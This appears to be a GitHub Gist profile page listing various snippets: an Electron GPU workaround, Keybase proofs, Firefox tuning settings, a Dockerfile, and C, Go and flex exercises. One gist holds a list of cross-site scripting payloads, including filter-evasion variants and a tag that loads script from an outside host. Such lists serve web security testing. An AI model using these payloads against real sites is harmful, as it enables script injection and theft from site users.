Skip to content

Instantly share code, notes, and snippets.

View dlion's full-sized avatar
🦁
If you can dream it, you can do it ~

Domenico Luciani dlion

🦁
If you can dream it, you can do it ~
View GitHub Profile
@dlion
dlion / disable-gpu-mac.md
Created November 16, 2021 14:08 — forked from marpontes/disable-gpu-mac.md
Pass --disable-gpu down to Electron apps on mac (Slack, Whatsapp, Trello, ...)

On my Macbook Pro (OS X El Capitan) I was having issues on Electron based apps. These apps had visual issues/glitches like blank screens, visual components showing only when hovering or transparent menus.

By opening with these comands, the problems disappeared.

open /Applications/Slack.app/ --args --disable-gpu
open /Applications/Trello.app/ --args --disable-gpu
open /Applications/Whatsapp.app/ --args --disable-gpu

Keybase proof

I hereby claim:

  • I am dlion on github.
  • I am dlion (https://keybase.io/dlion) on keybase.
  • I have a public key ASCJ3D7kjvpd1Fgc6mAA6wqQHkopSPEKGwSLcrLaAY3sgQo

To claim this, I am signing this object:

@dlion
dlion / xss
Created August 25, 2016 23:09
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
@dlion
dlion / improve.md
Created January 16, 2016 16:50
Improve firefox speed

First of all: about:config

  • network.http.pipelining = true
  • network.http.pipelining.maxrequests = 8
  • new -> integer -> nglayout.initialpaint.delay = 100
  • content.notify.ontimer = true
  • content.notify.interval = 100000
%{
/*
* Scrivere un programma in flex che trasformi in maiuscole tutte le parole delle righe che cominciano con una parola di caratteri tutti minuscoli,
* in minuscole tutte le parole che cominciano con una parola di caratteri tutti maiuscoli.
* Le altre siano lasciate invariate.
*/
#include <ctype.h>
int i;
%}
@dlion
dlion / smagenBot.Dockerfile
Created June 25, 2015 16:55
Simple Dockerfile to build an image of ubuntu to run my smagenBot
FROM ubuntu:latest
MAINTAINER Domenico Luciani "[email protected]"
RUN apt-get update
RUN apt-get install -y git nodejs npm
RUN git clone https://github.com/dlion/smagenBot /home/root/smagenBot
ADD config.json /home/root/smagenBot/
WORKDIR /home/root/smagenBot
RUN npm install

Keybase proof

I hereby claim:

  • I am dlion on github.
  • I am dlion (https://keybase.io/dlion) on keybase.
  • I have a public key whose fingerprint is 7214 7EBB B299 706D 8621 43E1 A3D8 68BE 560A CEB0

To claim this, I am signing this object:

#include <stdio.h>
#include <stdlib.h>
typedef struct albero {
int valore;
struct albero *dx;
struct albero *sx;
} ABR;
ABR* insert(ABR* A, int value)
@dlion
dlion / insert.go
Created September 15, 2014 09:30
InsertionSort
package main
import "fmt"
func main() {
array := [6]int{5, 3, 1, 7, 2}
for k := 0; k <= 5; k++ {
m := k
for j := k + 1; j <= 5; j++ {
if array[j] < array[m] {
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void stampaVettore(int *v, int n)
{
int i;
for(i=0; i < n; i++)
printf("%d ",v[i]);
printf("\n\n");